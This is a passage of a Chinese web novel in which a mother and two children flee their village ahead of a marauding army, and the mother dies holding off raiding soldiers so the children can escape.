烧了热水洗漱之后,两人一起在书房就着烛火看书,乌轻轻识的字不算多,遇见不会的字,就扭扭捏捏地过来问燕谨。 两人在书房中看了两刻钟的书,燕谨忽然感觉有些不对劲。 往日乌霜雪去城里,最晚申时也该回来了,现在酉时都已过半,外面天色都有些黑了,还不见她回来。 燕谨思忖着此事,起身朝外走去。 乌轻轻还在因为方才挨打的事情不开心,非必要不愿意和她说话,装作不在意的样子继续看自己的书,实则一直偷偷瞧她。 “轻轻,我去宝金爷爷家找一下二婶,你在家看书。” 乌轻轻哦了一声。 有些不满她出门不带自己,又不好意思出口让她带着自己。 燕谨没空去管这些,她步履匆匆地往院子门口走去,刚要打开,门就被人从外推开。 她一愣,与门外的满脸凝重的乌霜雪打了个照面。 “小谨,是找我吗?” 燕谨点头,连忙让她进来。 乌霜雪急匆匆地进门,燕谨看她这副模样,猜到或许 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她今日冒着极大的风险,从城外的难民口中探得了这点消息,再多的,他们也不知道了。 “若是不往咱们这来,暂且无虞,但若过来了……”乌霜雪在书房不停走动,节奏混乱无章,突然踉跄一下,燕谨赶忙扶住她。 乌霜雪站稳后抓着燕谨的胳膊,看着她的眼睛一字一句道:“我们得走了。” 燕谨心神俱颤,呼吸变得又快又浅,极为艰难地点头应下。 自进入书房就被扔在一边不管的乌轻轻一知半解地看着书房中低声交谈的两人,她们俩身上萦绕着一股山雨欲来风满楼的氛围,将乌轻轻也带的屏气慑息,不敢擅动。 “娘,这事我们要告诉宝金爷爷他们吗?” “要说,”乌霜雪神色凝重,“但不是现在说。” 吴王的军队此时就在云城中,骑马过去一日便可到达,现在将此事说出去,谁知道会发生什么变故。 燕谨心下明悟,吴王的军队来不来此尚不是定数,若是此事一早宣扬出去,吴王最后没来,他们一家人以后该如何自处? 且不是所有人都像他们一样,说走就能走,上百年的祖宗家业都在在,拖家带口十几口人,要走不是那么轻易的。 思及此,燕谨又道:“我们,去哪儿?” 乱世之中,各地起事之主纷纷,到哪里才能真正太平呢。 乌霜雪见燕谨很快领会了自己的意思,心中稍安,但她脑中思绪万千,一时之间竟也想不出来应该去哪。 湾水村本就是在与世隔绝之地,若是连这都被军队踏入…… 燕谨紧攥着桌角,哑声吐出一个主意:“若我们进山呢?” 湾水村后的群山,延绵数千里,千山万壑,险峻异常。 没有哪只军队会愿意进入,没有任何好处。 乌霜雪心中动了一瞬,但很快否决。 “山中太险,陡壁悬崖,也未必就比外边太平。” 燕谨紧缩眉头,再度思虑起其他出路。 25. 再次 最终二人商定继续北上。 北边严寒,过不了两月就要进入冬季,想来不会有军队往北边去。 此事宜早不宜迟,商定好后燕谨就回自己房中开始收拾东西。 留在书房昏昏欲睡的乌轻轻被乌霜雪喊醒,他迷蒙间扫视一眼没见着燕谨,立时就想跟乌霜雪告状。 挨了打的手将将伸出去,哭诉的话还没说出口,就被乌霜雪一脸严肃地打断。 “轻轻,咱们要搬家了。” 红肿还未尽消的眼睛再度浮上水雾,乌轻轻难以置信地看着他娘。 燕谨在自己房中收拾包袱,书房嘹亮的哭声响起,穿过墙面,一路游入她的耳中。 心中默默叹了口气,想到下午他还挨了打,忽然有些愧疚。 这么小的孩子,从小流离失所……算了,日后对他还是宽容一些吧。 乌轻轻这次哭闹了许久,不像从云城那次搬过来时那么好哄了。 他十一岁了,已经能够理解些事,他知道自己又一次要失去一个家了。 乌霜雪给他讲了原因,乌轻轻明白,但心理上还是无法接受。 没有太多功夫哄他,乌霜雪温柔地擦去他颊上的眼泪之后便去收拾行李。 乌轻轻睫毛上挂着眼泪,委委屈屈地进自己的房间开始装那些草编的小玩意儿。 这些年乌霜雪与燕谨给他做了不少草编的小玩具,以前乌霜雪做得多些,但近两年几乎都是燕谨给他做的。 整整齐齐地摆在窗台上,他每日睡前都要点数,点完数才肯睡觉。 燕谨将自己的衣服都装好,便过来看乌轻轻。 她看着乌轻轻将自己装书的篮子腾空,将所有草编一股脑塞进去,有些头疼。 “轻轻,这些草编不带了,我再给你做。” 乌轻轻又委屈又生气,这个坏人,打了他就算了,要搬家就算了,现在连自己心爱的东西都不让带走。 “……我才不听你的!我就要把它们都带走呜呜呜……” 燕谨慢慢走近,乌轻轻下意识后退,警惕地盯住她。 想象中可能会再次挨打的情形没有发生,燕谨将手放在他的发顶揉了揉,片刻之后又轻轻抱住他。 “轻轻,不要害怕,”她生涩地安慰惶恐不安的乌轻轻,这句话不知是说给自己听,还是说给他听,“你还会有新的草编、新的朋友、新的生活……我和娘会一直和你在一起,好吗?” 乌轻轻“哇”的一声扔开手中的篮子,将头埋在她怀里,双手紧紧搂住燕谨的腰,哭个不停。 站在房门看了半晌的乌霜雪悄无声息地离开,她抹去脸上滑落的泪,眼中带笑进了书房,把书本都打包起来。 第二天早上,一家三口眼眶都有些水肿。 乌霜雪吃了早饭之后就忙不迭出门了。 既要出行,路上的准备还有些没有做好,她此去跟云城相反方向的小镇上找一位赤脚大夫。 燕谨也出门替乌轻轻给学堂告了假,接下来就不必去上学了。 先生不明所以,但知道是乌霜雪的意思之后也没有多说什么,给燕谨说了些乌轻轻在家也不可懈怠功课,留了课业之后才放燕谨回去。 燕谨来学堂找先生给乌轻轻请假许多人都看在眼里,其中就有刘全。 他是知道自己昨日跟乌轻轻那个小傻蛋说了什么的,今日就请假不来,燕谨这个悍妇不会是把乌轻轻打得下不了地了吧? 燕谨自然发现了那些打量她的视线,也包括刘全满含恶意的窥视。 脚下一顿,极其自然地掉了个方向,往村尾山脚下的方向走过去。 刘全果然跟了上来。 燕谨默不作声,装作没有发现,越走越远,直至远离人烟,她才停下来站在原地。 “刘全,跟着我干什么?” 跟在她身后不远处的刘全心中一惊,没想到自己还没跳出来就被燕谨发现了。 但自以为抓到了燕谨的把柄,他大咧咧地走过来,道:“乌轻轻没来上学怎么是你这个童养媳来告假?你还能做得了你相公的主?哈哈哈哈……” 燕谨微微一笑:“除了你,还有别人跟轻轻说这些吗?” 刘全没听出她语气中隐含的危险,满脸得意地凑近燕谨,“还能有谁?乌轻轻没来是不是被你这悍妇打了?没想到你居……” 听他说话实在腻烦,燕谨没耐心听,一脚踹上刘全的腹部,将人踢出去一丈远。 刘全倒在地上痛苦地捂着肚子,一脸不服地冲燕谨嘶吼。 “燕谨!嘶……你疯了是不是,嗷——” 燕谨走上前踩住他捂在肚子上的手,脚下用力碾下,俯视他:“再让我知道你跟乌轻轻说这些,这一脚就不是踹在你肚子上了。” “松开!你这悍妇!”刘全吃痛,用另一只手去拉燕谨,燕谨纹丝不动,脚下越发使劲。 刘全疼得冷汗都冒出来了,咬牙服软:“好好,我再也不说了,我以后见着那个傻蛋绕路走!快松开!” “傻蛋?” “我是傻蛋!我是傻蛋行了吧。” 燕谨勉强满意,抬脚退后两步,看着躺在地上的刘全一句话都懒得多说,绕开他往家中走去。 只剩下刘全痛不堪忍,捂着肚子躺在地上怀疑骨头是不是都被燕谨踹断了。 到家时,乌轻轻正在院子里闷闷不乐地堆石子。 见燕谨回来,他眼前一亮,然后又极力忍下雀跃,满脸不开心地嘟囔:“哼,你们出去都不带我。” “交给你的任务做了吗?” 燕谨一进院门就看见了水井旁湿淋淋的板车架子,此时是故意去问乌轻轻。 “做啦!”乌轻轻嘴角高高翘起,“不就是将板车擦洗一遍,我早就做好了!” 心中那点不愉快很快消散,乌轻轻自豪地拉着燕谨的去看他认真擦洗过的板车。 燕谨低头看去,乌轻轻忙活得连衣角都打湿了许多。 “不错。” 这一句夸赞足以让乌轻轻满意,他露出一个骄矜的笑容,双手背在身后,雄赳赳气昂昂地回到自己的石头堆旁。 燕谨没再给他下任务,本就是为了让他安生待在家里才吩咐的事情。 她拿过飞云棚子里的干草,将板车上的水渍一一擦去。 乌霜雪今日出门时说过,自己大约午时便可回来,先不急着将物件搬上来,一切等她回来再说。 东西都差不多收拾好了,现下无事,燕谨便继续练武。 这几年乌霜雪对她也是倾囊相授,将自己所学的 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她将自己身上的包袱取下放在桌子上,小心摊开。 “这些是我买来的药物,小谨,以后你随身带好,我再放些银票进去。” 燕谨呼吸微微一顿,视线挪到乌霜雪脸上。 乌霜雪坦然一笑,“你别多想,只是这东西紧要,必须得贴身放着。我们以后风餐露宿,若遇到些什么,我看顾轻轻,怕顾不上这些东西,你拿着就好。” “这两瓶是外敷的药粉,止血镇痛的;这一瓶是内服的药丸,发烧或有炎症时都可使用;这是人参丸,心力交瘁之时服一颗;这是……” 大大小小加起来共有八个瓶瓶罐罐,乌霜雪给她讲完,便去外面扯干草,把瓷瓶都裹起来,避免磕碰碎裂。 “娘,我们什么时候走?” 乌霜雪手上动作不停,极快回道:“明日一早,此事宜早不宜迟。” 燕谨点头应下。 “待天黑了我就去寻你宝金爷爷,不管他们作何打算,我们都明日一早启程。” 乌宝金是湾水村的村长,由他再去向其他村民说明此事最好,后续的事情她不便多做干涉。 将瓷瓶都裹好后,燕谨着手准备路上的干粮。 这事她干得得心应手,毕竟这几年她最常做的就是干饼。 厨房上方飘起袅袅炊烟,乌轻轻进去看了一眼,见又是干饼,大大地叹了口气。 乌霜雪一手指摁上他的额头:“干什么做这副样子。” 这次出行不同于上次,只需要准备一天的食水就可以,这次他们尚且不知道要在路上走多久。 飞云马背上挂着的包袱里面是些新鲜猪肉,她特地装点起来就是为了防止一路回来被人发现自己带了这些东西。 将猪肉切开成条,火烤制成肉干。 一下午,三人忙个不停。 燕谨忙着烙饼,乌霜雪忙着烤肉,乌轻轻忙着生火。 且因为不想让肉香味飘出去,厨房门窗紧闭,将三人热得满头大汗。 天色黑沉下来之后,才将将忙完。 乌霜雪换了身没味的衣服,往乌宝金家去。 26. 告知 “你说什么?!” 昏暗的堂屋中,乌宝金瞪大双眼,眼球仿佛要从眼眶中弹出,震惊之下,连眨眼都忘了,眉头紧紧拧成一个“川”字,嘴唇不自觉地颤抖着。 “昨日我从云城回来,亲眼所见……城外已经围拢了许多难民,今日我又去打听了一下,确实无误。” 乌霜雪神色凝重,跳动的烛火在她的面庞上闪烁。 “这……怎会如此突然,”乌宝金喉咙像被堵住,过了好几秒,才从干涩的嗓子里挤出几个字,“会往咱们这来吗?” “不知,但若来了,乃是灭顶之灾。” 听完这句话后,乌宝金好半晌没再说一个字,乌霜雪能明显感觉到他的呼吸声变得又粗又急,胸膛剧烈起伏。 “……若是赌一把……” 乌霜雪缓缓摇头。 “生与死,您说,我们如何赌得起。” 用自己全家老小的命去赌吴王不会过来,这个赌注太大了,他们赌不起。 乌宝金有些站立不稳,后退两步倒在椅子上,双眼空茫地看着门外隐隐绰绰的身影,那是他的儿子们。 静默片刻之后,乌宝金用充满希冀的目光看向乌霜雪:“……霜雪,我看你虽审慎,却并不惊慌,是否已经有了应对的法子?” 乌霜雪十分不忍,但她知道,不论乌宝金如何决定,不论湾水村其他人如何决定,这个主意不能是从她嘴里说出去的。 “只是已经决定好要远走,宝金叔,与您说完这些话,我也要回去收拾东西了,准备明日一早启程。” “好……好……好,”乌宝金一连说了三个“好”字,他闭上双眼,浑浊的眼球被遮盖住,转眼滑落两滴泪下来,“你归家去吧。” 乌霜雪从怀里掏出两个瓷瓶,这是她单独为乌宝金准备的一份药品。 轻轻放在桌上,没有发出一丝声响。 “叔,我走了。” 她深深地看了一眼坐在椅子上的老汉,往日精神矍铄的人此时真正显出符合年纪的老态来,若她爹还活着,大约也是这样…… 拉开堂屋的大门之后,站在门外的三个大汉齐刷刷看她,那是乌宝金的儿子们。潘莲花与几个媳妇在稍远的地方或坐或站,见乌霜雪出来,赶忙围过来。 “霜雪,这是怎么了……”潘莲花急急开口。 吃过晚饭后家中几人原本在院子里消食,扯些闲话,说着如今时节收成,乌霜雪忽然来叩门。 进门之后面色凝肃,要乌宝金与她单独在堂屋叙话。 他们不知道门内二人说了些什么,心中难免焦躁。 不等乌霜雪搭话,乌宝金的声音在屋中响起。 “……你们都进来吧。” 乌霜雪对潘莲花略微点头,示意他们进屋听乌宝金说话,径自出了院门。 剩下所有的事情都被遮掩在院墙内,乌宝金如何想,又要如何做,都不与她相干了。 乌霜雪从各家各户的院墙间穿行而过,往自家的方向走去。 现在大部分人家都准备休息了,动静很小,微弱的橙黄色光芒从窗间门缝中打出来,窸窸窣窣的人声似有若无的擦过她的耳旁。 乌霜雪心中沉甸甸的难受,只是她也无能为力。 快到家时,乌霜雪远远看见两个人影站在院子门口。 是两个孩子。 燕谨在帮乌轻轻在门口的石头上刻字,乌轻轻力气小,担心自己划拉上去的没两天就会消失。 “……对,我的名字要写大一点,要比你的大……好嘛,一样大也可以,那你把我的名字写好看一点……” “把灯笼举高。” “你干嘛长那么高,我举起来很累的……你快一点呀。” 两人挨得极近,都没有注意到身后逐渐靠近的人影。 “你们在干什么?”一道温和的女声在身后响起。 乌轻轻吓得浑身一抖,一只手覆在他唇上,堪堪遮住了他脱口而出的惊叫声。 “别怕,是娘,”燕谨低声对他说,将人安抚好之后才转身去看乌霜雪,“娘,我们在刻字。” 乌霜雪莞尔一笑,燕谨移开身体,露出她在墙上刻的字—— 娘、姐姐、轻轻 “还有两个字没刻完。”燕谨轻声说。 乌轻轻用手抚着胸口给自己顺气,非常骄傲地说:“我要刻娘、姐姐、轻轻的家,哼哼。” 虽然他没使半分力,但这话说得极为自然。 乌霜雪看了片刻,伸手去拿燕谨手上的石子。 “剩下两个字让我来吧。” 对于她们习武之人来说,在石墙上刻两个字并不是什么难事,顷刻间就刻好了。 三人站在门口注视着这几个字,一动不动,从远处看过去十分诡异。 “好了,进去吧。” 娘、姐姐、轻轻的家。 不知下次再回这个家是什么时候,他们都已经失去过许多次“家”了。 —— 乌宝金的动作很快,乌霜雪离开之后不过两刻,他家中几个儿子都出门了,深夜叩响各家院门,召集每家的话事人去村长乌宝金的家中叙事。 深夜上门,表情严肃又语焉不详,所有人都知道必有大事发生。 村中星星点点的灯火逐渐亮起。 他们匆匆起身,胡乱裹着一件衣服就往乌宝金家过去,路上遇见同村的人,皆是一脸茫然。 乌宝金就站在堂屋的门口,他家中其余人等都已经回到房内,紧闭门户,不知在里面做些什么。 近处的人已经到了,他们聚集在乌宝金面前,你一问我一句的打听着。 “宝金,怎么了这是?” “怎的大半夜把我们叫来,出了何事?” “宝金叔,这是什么了?” …… 乌宝金只回了一句:“待人齐之后再说。” 大约半柱香的时间,各家各户的人都到了,乌宝金的大儿子点完数之后出去将院门关起来,站在门口守着。 底下的人群吵吵嚷嚷,跟身边的亲朋好友打听是出了什么事,又七嘴八舌地去问乌宝金。 乌宝金清了清嗓子,院内逐渐安静下来。 “我今日得了一个消息,南边起事的吴王,前段时间已经打进云城,把云城占了。” 他一张口就放出一个大雷。 不顾底下人如何面色突变,震惊愤怒或是一脸 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其他人也围上来,眼巴巴地看着他。 乌宝金叹了口气,道:“此事别无他法,谁也不知道那吴王会不会过来,我难道让大家像我老汉一样抛家舍业的远远逃开吗?若吴王最后没来,百年祖宗家业岂不是都丢了?” “那您这么急着走干什么?家中田地怎么办?屋舍怎么办?就不管了吗?” 乌宝金又摇头,语气满是怆然:“假使那吴王不日就会过来呢?我若因舍不得田地屋舍,拿自家这么多人的性命去赌吗……” 这件事他的看法与霜雪那丫头是一样的,说不准的事情,就看谁家愿意拿命去赌了。 话说到这份上,许多人也明白过来了。 若舍不得屋舍田地,提心吊胆的留下来,就是拿自己一家人的命去赌吴王不会过来;若是命更重要,就得舍了屋舍田地去赌吴王会过来,远远逃开。 这是一个非黑即白的选择题,只看在各人心中,哪一方更重要。 想通之后,不少人急匆匆地奔回家准备收拾东西。 他们一辈子也没出过几次村子,不懂太多,但村长乌宝金既然如此坚决,那跟着他,准是没错的。 也有些人嗤之以鼻,认为乌宝金胆子太小,偌大的家业说不要就不要了,十足蠢货。 但不论做出什么决定,这一晚,注定是一个不眠夜。 外边的嘈杂传不到燕谨三人的耳中。 乌霜雪回家之后,几人没再做其他事情,合衣躺下,养足精神准备明日出发。 第二天一大早,天还蒙蒙亮,乌霜雪就起来烧热水了。 三个牛皮水壶装得满满当当,一人腰间挂了一个。 另外还有四个水壶挂在板车上,以备不时之需。 吃过早饭之后,三人将屋中各处最后检查一遍后,锁好门窗,便准备出发。 燕谨与乌轻轻坐在后面的板车上,乌霜雪在前头驾车。 院中马蹄声响起的同时,村外不远处的地方,高扬的马蹄飞沙扬砾,一行人往湾水村的方向奔来。 27. 分离 “百户,前边真有一个村子!” 刘勇跨在马上,上半身高高扬起,在黄土飞扬天色黑沉的环境中艰难地分辨出眼前有个不大的村落。 他生得虎背熊腰,脸上刻满风霜,额角一道狰狞的疤斜斜滑过大半个脸庞,直至颧骨下方,应是旧年刀伤,更显得他可怖。 刘勇兴奋极了,他只是齐王麾下一个微不足道的兵士,此次跟随百户偷偷出城,为的就是找些能捞油水的地方。 策马骑了一晚,终于到了能收获的时候。 百户齐德元也眯起眼睛向前看去,随之一笑,眼中闪过精光:“到地方了,兄弟们随我进去活动活动!” 他穿着半幅盔甲,甲缝中沾满泥灰与暗色的血迹,边缘磨出毛糙的白痕。看不清五官的脸上长着又硬又密的胡茬,像是没打理过的荒草。 此次齐德元带了三十人出来,个个都杀过人,见过血。众人与他一起偷摸做这个勾当也不是一回两回了,城中的好处都被那些千总与把总啃食殆尽,所以每到一处新的地方,他总是带着几个人出来偷摸打野食。 上面人吃肉,一点汤也没留下来,对齐德元偷摸做的事情自然睁一只眼闭一只眼。 在外边的小村子,能捞到多少油水?他们看不上这些。 齐德元等人却就指着这点东西过活,所到之处,造了不少孽。 兴奋之情涌上心头,脚下的骏马飞驰,仿佛不过眨眼之间,远处的村落就已经近在咫尺。 一群嗜血的兵士闯了进去。 村头的一户人家刚推开门,迎面撞上他们。 “啊——!!” 一声惊叫拉开了湾水村的血幕。 湾水村不算太大,这声尖叫过于凄厉,一夜未眠的人们心中剧烈颤动,有些极为不妙的预感。 一心屠戮的兵士没有给村民太多反应的时间,他们冲进村头的几户人家,猩红着眼睛摸出腰后的大刀,一脸狰狞地冲进去烧杀掠夺。 惊叫声接二连三的响起。 湾水村彻底乱了。 第一声惊叫响起时,乌霜雪刚刚锁好院子的大门。 她与燕谨几乎同时向村头看去,下一瞬就意识到发生了什么。 燕谨的呼吸声瞬间凌乱,她下意识握住身边坐着的乌轻轻的手,抬眼看向乌霜雪,嘴唇抿成一条直线。 “我们跑不过战马。” “你带着轻轻先走。” 两道声音同时响起,同样语调飞快。 燕谨一怔,乌霜雪,在说什么? “没时间说太多,小谨,你带着轻轻先走,你会骑马,到前面来驾车。” 乌霜雪匆匆下马,将挎在身后的剑取出来,一脸凝重地吩咐两个孩子。 她知道,他们跑不过,就算将车上的东西都卸下来,已经家养了多年的飞云也跑不过那些身经百战的战马。 “这怎么行,娘,你与轻轻骑马跑,我寻个地方躲着,我……” 燕谨眉间紧皱,飞快地吐出一句话就准备起身下车将飞云身上的束缚解开,她的手指在无意识间颤得极狠。 村头的声响越来越大,她甚至没法去分辨那些呼喊到底是谁的,哭嚎声与张狂的笑声糅杂在一起,一股脑灌进她的耳中。 还未起身,乌霜雪就以不容拒绝的力度摁住了她。 “小谨!来不及多说,你应当明白现在情况危急,若不这样做,我们母子三人俱难逃一死!” 她拉住燕谨的手,将人拽到马上,胡乱将自己身上的水壶、怀里的包袱都掏出来塞在燕谨的手里,然后狠狠一掌拍上了飞云的屁股,车轮向前滑动起来。 乌轻轻双眼瞪大,目眦欲裂,被突发事件打得一团糟的脑子终于转动起来,他猛地朝后一扑,抱住乌霜雪的腰哀求道:“不要,不要,娘,你快上来,和我们一起走,不要留在这里。” 已经经历过一次的少年早已不像五岁时那样,在混乱中被抱上马车,直到很久以后才明白当时发生了什么。 他眼泪流个不停,不停哀求,用尽全身的力气抱住乌霜雪。 乌霜雪只给了乌轻轻一息的时间,随后用力将他拉开,往前推到燕谨的怀里,燕谨眼眶通红,一只手抱住乌轻轻,不允许他挣脱。 初见时淡漠少言的夫人手中提着一把剑站在燕谨曾住了五年的院子门口,一脸温柔地看着他们远去。 “轻轻,别哭,娘会去找你和姐姐的,”乌霜雪看着乌轻轻泪流满面的稚嫩脸庞,露出一个安抚的笑容,随后又看向燕谨,声音很轻,飘出去没多远就消散在风中,“小谨,无论如何,不要抛弃轻轻。” 燕谨听到了。 她嗓音沙哑,将怀中闹腾的乌轻轻抱得很紧:“由生至死,我会永远和轻轻在一起。” 乌霜雪嘴角的弧度扩大,不再言语。 马车往前行进,站在院子门口的身影渐渐缩小,燕谨强迫自己不再去看。 她往前坐了一步,跨坐在马背上,乌轻轻被她一只手摁在怀里,脸颊埋在她的胸口,燕谨很快透过衣物感受到眼泪的湿意。 狠狠夹住马腹,飞云跑得越来越快。 后面车架上的东西被绑得很紧,燕谨直视着前方的曲折不平的黄土路,不曾回头多看一眼。 她低声呢喃着,语气愈发坚定。 “轻轻,别怕,还有我,别怕。我们会永远在一起,轻轻,不要害怕……” 曾几何时,燕谨也像乌轻轻这样,将头埋在某个人怀里,被人发颤的指尖抱得密不透风。 那人明明害怕极了,却一直在告诉她:小谨,别怕,我和姐姐会永远和你在一起,别怕。 燕谨当时慌乱到快要跳出胸腔的心忽然就定了些,她抱住那人,啜泣声慢慢止住。 我和姐姐会永远和你在一起。 ——只是没过多久,便只剩下燕谨一个人了。 她原以为自己很快就会死在某个肮脏的角落中,直到浑浑噩噩时被乌霜雪用一小袋玉米买回家。 她再一次有了家,只是这个家的分别来的如此突然。 只不过,此时她怀中也有了一个需要用尽力气才能抱住的人。 哪怕她的指尖仍然在 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若人数不多,湾水村未必没有活路……乌霜雪的身手她是知道的,若不是为了掩护他们两人先走,凭她自己,自保是绝对没有问题的。 只是需要拖延时间让他们逃走,乌霜雪再好的功夫也只能迎上去,无法选择扭身离去。 燕谨将马车赶至一处低洼的草地,这里野草繁密,而且长得极高,因为地势原因,只要不靠近过来细看,几乎发现不了掩藏在这里的板车。 她小心翼翼地将昏睡在怀里的乌轻轻抱下来,放在行李堆里边,有些犯难。 若一人前去,就算那伙兵士将村子占了,她也可以保证自己不惊动任何人溜回来,但带了乌轻轻就不一样了。 但若不带乌轻轻去,他一人在这荒郊野外的地方,林中又不知会不会有野兽跑下来,实在危险。 还没等她考虑好,被放在行李堆上的乌轻轻就迷迷怔怔地睁开了眼睛。 此时已近正午,阳光直射在他因流泪和红肿刺痛的眼皮上,带来几分灼痛之感。 刚刚睁开眼,乌轻轻就看见了站在一旁的燕谨。 昏睡前的记忆一股脑涌上来,他眨巴着眼睛,眼前又开始出现水雾。 “呜呜,娘,娘,我不要走,呜呜呜,我要和娘在一起呜,咳、咳咳咳……” 之前哭过太久,乌轻轻嗓音嘶哑,嘴唇干燥,说话的时候嘴里还有血腥气,哭了两声就忍不住咳嗽起来。 燕谨解下自己腰间的水囊,递到乌轻轻唇边喂他喝下。 乌轻轻顺过那口气之后,燕谨收起水囊,看着他肿胀的双眼轻叹,伸手抹去了他颊上的泪痕。 “轻轻……我要回湾水村一趟,你要和我一起吗?” 乌轻轻猛地抬头,伸手握紧她的手腕,急切的问道:“真的吗?!我要和你一起去!我要回去找娘!” 燕谨没有抚开他的手,任由乌轻轻攥住自己,她的下一句话很轻。 “和我一起回去,也许会死。” 28. 死别 乌轻轻说:“我不怕死!” 燕谨听完这句话伸出手在他头上摸了摸,随后将乌轻轻拉起来,直直看进他的眼底。 “可是娘怕你死,轻轻。” 乌轻轻还握在她腕上的手轻微地抖动起来,他的指节发白,嘴唇翕张,半晌没说出话来。 燕谨叹了口气,她上前抱住乌轻轻,语调沉稳:“我带你一起去,但你不许进村,在外面等我,若事态平息,我会再来接你。” 这是唯一的两全之法,她不会放乌轻轻一个人在危险的青山脚下。 乌轻轻极快点头,他和燕谨一起把车架上的东西掩藏好,只要不走近来细看一点都发现不了。 一切遮盖好了之后,燕谨飞身上马,伸手将乌轻轻拉了上来,坐在自己身前。 脚下轻踢,飞云朝着来时的路奔回去。 身上没了束缚,飞云的速度比逃走时快了许多,不到酉时他们就已经看见村子的轮廓。 燕谨找了一个干草垛,这附近一片都是农田,起起伏伏的草垛立在其中,从村中的方向看过来,难以发现躲在里面的乌轻轻。 她一脸严肃地看向躲在里面的乌轻轻,向他要求道:“你在这里躲好,不论村中情形如何,最多不过一个时辰,我就来接你。” 乌轻轻眨巴着眼睛点头,他还有些不能完全睁开眼,眼皮红肿得厉害。 “我保证,我不会乱跑的,姐姐,你,你要来接我,我要去找娘……” 燕谨将草垛外面收拾好,恢复成无人来过的景象,确保不会被人发现这里躲了个人之后才转身上马,往湾水村的方向赶过去。 离村子越近,她的速度越慢,双眼来回在外围巡视着,但距离太远,什么都没看见,也没见着掠夺的兵士。 只剩最后一里地的时候,燕谨将飞云拴在河边的树上,纵身提气,向村子里跑过去。 若隐若现的哭嚎声从村子里传出来。 燕谨心中不安,她的速度越来越快,到达村尾的几处人家时,隐约听到一点人声。 “……受伤……死了很多……家里……” 她顾不得去探问,大步地往自己家的方向跑过去。 越往里走景象越是惊心,大片血迹凌乱的挥洒在地面上,不知道是谁的,给往日平静的村子里增添了许多惊悚意味。 跑回家的路上见着许多村民,他们见她一个人往回跑,都有心想说些什么,但所有人都被燕谨抛在脑后。 直到来到刻着娘、姐姐、轻轻的家门口。 燕谨轻轻地吸进一口气,看着自家院门前的地上鲜血淋漓,门口一个硕大的血色手印盖在上面,看起来有一段时间了,已经氧化发黑。 院门大大敞着,锁头还摇摇晃晃地挂在门上,显然是被人暴力打开的。 里面有许多人声,燕谨分辨不出来是谁在说话,总之十分嘈杂。 她僵硬地提起腿,慢吞吞往里面走进去。 没等她走进,一道人影从里面走出来,是徐莲花。 她衣物凌乱,身上有许多斑驳的血迹,手里拿着一个盆,里面是暗红色的血水,被她倒在院门的地上。 见着燕谨,徐莲花憔悴不堪的脸上骤然焕发出光亮:“小谨!你还在,好孩子,你……” 话没说完,她看只有燕谨一个人,所有动作都顿住,“……只有你?轻轻呢?他去哪了?” 燕谨的眼睛一直看着她手上带血的铜盆,语调艰涩:“被我藏起来了,我先回来看看情况。” 没有第二个可能,这是乌霜雪的血。 不等徐莲花再说什么,燕谨飞快地冲进院门。 院子里有许多人,正屋的门紧紧关着,燕谨眼中只有那扇紧闭的门,她跑过去,深吸一口气,然后推开。 屋里是徐莲花的几个媳妇,她们眼圈通红,身上沾着许多血,围在乌霜雪的床前,一身血衣被搭在旁边的榻上。 燕谨的指尖无意识间掐住掌心,指节用力到发白,但她仿佛感觉不到这股痛意,紧紧盯着榻上的那身衣服。 这是乌霜雪今天穿的衣服,此刻已经被鲜血浸透,几乎看不出原本的颜色。 燕谨身形晃动,眼神涣散地朝床铺的方向看过去,她的身体抖得很厉害。 徐莲花的几个媳妇纷纷让开,不忍地别过头去,露出躺在床上的乌霜雪。 乌霜雪紧闭双眼仰面躺着,穿着一身她没有收拾出来带走的衣服,整洁体面,头发也被梳理通顺垂在枕上,她脸色青白,浑身都被打理的很干净。 燕谨腿有些软,往前走了两步便踉跄倒在地上。 徐莲花从门外跑进来,扶起燕谨,泪流满面地将人半拉半抱地带到乌霜雪床前。 院中的人都围拢过来,沉默地站在正屋门口。 “小谨……霜雪走了。” 燕谨神智恍惚,连自己是怎么过来的都不知道,她听不清身边的人在说什么,脑中巨大的轰鸣声炸开,嗡——嗡——的声响打乱了她所有思绪。 乌霜雪死了。 燕谨伸出手,哆嗦着指尖探入乌霜雪的鼻下,不过片刻就像被灼伤似的收回来。 乌霜雪真的死了。 燕谨眼中酸涩无比,下意识仰起头紧闭双眼,但眼泪还是像蜿蜒的河流一样淌下来,汇聚到下巴的位置,连成一条线,滴落在乌霜雪的手上。 屋中只剩下众人忍耐不住啜泣的声音。 燕谨缓了半刻,再睁眼时,所有的茫然与无措皆消失殆尽。 她伸手紧握住乌霜雪的手,随后放开,从地上站起来。 深深地看了乌霜雪平静的面庞一眼,燕谨转身挥开众人,朝外走去。 徐莲花急急伸手拉住她:“小谨,你干什么去。” 燕谨喉中发痒,声音又快又急:“我去接轻轻。” 没有时间留给她伤心,最有资格流泪的人也不是她。 迅速跑出院子朝外奔去,轻盈的身体在空中飞扬,燕谨脑子里只剩下一件事—— 带乌轻轻回来见乌霜雪最后一面。 飞云还在原来的地方等她,马儿有灵性,自己低头吃草又去喝河水,飞驰了半日的疲累逐渐恢复,看见燕谨,它从鼻中喷出两股热气,亲昵地蹭过去。 燕谨将它的绳子解开,飞身上马,向乌轻轻的方向骋去。 乌轻轻躲在干草垛里一动不动,他双手抱膝,脑袋紧紧埋着,一边想着乌霜雪与燕谨,一边注意去听外边的动静。 一阵马蹄声由远及近,乌轻轻有些紧张,不知是谁的动静,他盼望着是燕谨回来接他了。 在紧张与焦虑当中,外边的声响越来越大,乌轻轻的心也越跳越快,但始终记得燕谨对他的叮嘱,不出声也不动作。 燕谨掀开 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她竟不知如何开口告诉乌轻轻事实。 离家越来越近,燕谨始终沉默,直到进村之后,她伸出一只手捂住乌轻轻的眼睛,避免他看见那些鲜血淋漓的场景。 乌轻轻不解地挣了一下,但燕谨盖得更紧,他便不再动作。 到了家门口,燕谨的手还是没放开,也没有下马。 “……到家了吗?” 乌轻轻敏感地察觉到不对,小心翼翼地问身后的燕谨。 燕谨轻轻“嗯”了一声,止息了片刻,艰难开口道:“轻轻,娘不在了。” 乌轻轻没反应过来,下意识反问:“娘不在家吗?咦,她去哪……” 他的话突兀地断在空气中。 燕谨捂住乌轻轻眼睛的手瞬间湿润,滚烫的泪水濡湿她的掌心。 垂下眼睫,燕谨抱着他下马,走了进去。 —— 乌霜雪的丧事办得很利索,用不着燕谨与乌轻轻操心太多,村中其他人家自发解决了这一切。 死的人不只她一个,村尾情况好些,但村头几户人家几近死绝,还有不少人受伤。 此次进犯的兵士大部分当场被乌霜雪及其他村民当场解决,大约八人重伤,燕谨后来过去看了一眼。 